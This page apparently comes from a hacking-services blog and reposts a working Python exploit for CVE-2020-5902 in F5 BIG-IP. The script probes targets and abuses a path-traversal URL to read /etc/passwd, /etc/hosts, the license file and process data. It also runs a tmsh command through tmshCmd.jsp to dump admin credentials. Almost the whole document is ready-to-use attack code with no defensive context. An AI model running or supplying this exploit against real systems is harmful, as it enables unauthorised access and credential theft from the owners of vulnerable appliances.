Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86398467

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: F5 Big-IP 13.1.3 Build 0.0.6 - Local File Inclusion
# Date: 2019-08-17
# Exploit Author: Carlos E. Vieira
# Vendor Homepage: https://www.f5.com/products/big-ip-services
# Version: <= 13.1.3
# Tested on: BIG-IP 13.1.3 Build 0.0.6
# CVE : CVE-2020-5902

#!/usr/bin/env python

import requests
import sys
import time
import urllib3
import json 
urllib3.disable_warnings()

global target

def checkTarget():

    r = requests.head(target + "/tmui/login.jsp", verify=False)
    if(r.status_code == 200):
        return True
    else:
        return False

def checkVuln():

    r = requests.get(target + "/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd", verify=False)
    if(r.status_code == 200):
        
        data = json.loads(r.text)
        if(len(data['output']) > 0):
            return True 
        else:
            return False

    else:
        return False

def leakPasswd():
    print("[+] Leaking /etc/passwd from server")
    time.sleep(2)
    exploit('/etc/passwd')


def leakHosts():
    print("[+] Leaking /etc/hosts from server")
    time.sleep(2)
    exploit('/etc/hosts')

def leakLicence():

    print("[+] Leaking /config/bigip.license from server")
    time.sleep(2)
    exploit('/config/bigip.license')

def leakAdmin():

    print("[+] Leaking admin credentials from server")
    time.sleep(2)
    r = requests.get(target + "/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin", verify=False)
    if(r.status_code == 200):
        
        data = json.loads(r.text)
        if(len(data['output']) > 0 ):
            print(data['output'])
        else:
            print("[X] Admin credentials not found")
    else:
        print("[X] Fail to read file")


def exploit(file):
    
    r = requests.get(target + "/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=" + file, verify=False)
    if(r.status_code == 200):
        data = json.loads(r.text)
        print(data['output'])
    else:
        print("[X] Fail to read file")

def memoryLeak():
    print("[!] Leaking tomcat process from server")
    time.sleep(2)        
    r = requests.get(target + "/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/proc/self/cmdline", verify=False)
    if(r.status_code == 200):
        data = json.loads(r.text)
        if(len(data['output'])>0):
            print("Command: " + data['output'])

def main(host):

    print("[+] Check target...")
    global target
    target = "https://" + host

    check = checkTarget()
    if(check):
        print("[~] Target is available")

        vuln = checkVuln()
        if(vuln):
            print("[+] Target is vulnerable!")

            time.sleep(1)
            print("[~] Leak information from target!")
            time.sleep(1)
            leakPasswd()
            leakHosts()
            leakLicence()
            leakAdmin()
            memoryLeak()
        else:
            print("[X] Target is't vulnerable")

    else:
        print("[x] Target is unavailable")


if __name__ == "__main__":

    if(len(sys.argv) < 2):
        print("Use: python {} ip/dns".format(sys.argv[0]))
    else:
        host = sys.argv[1]
        main(host)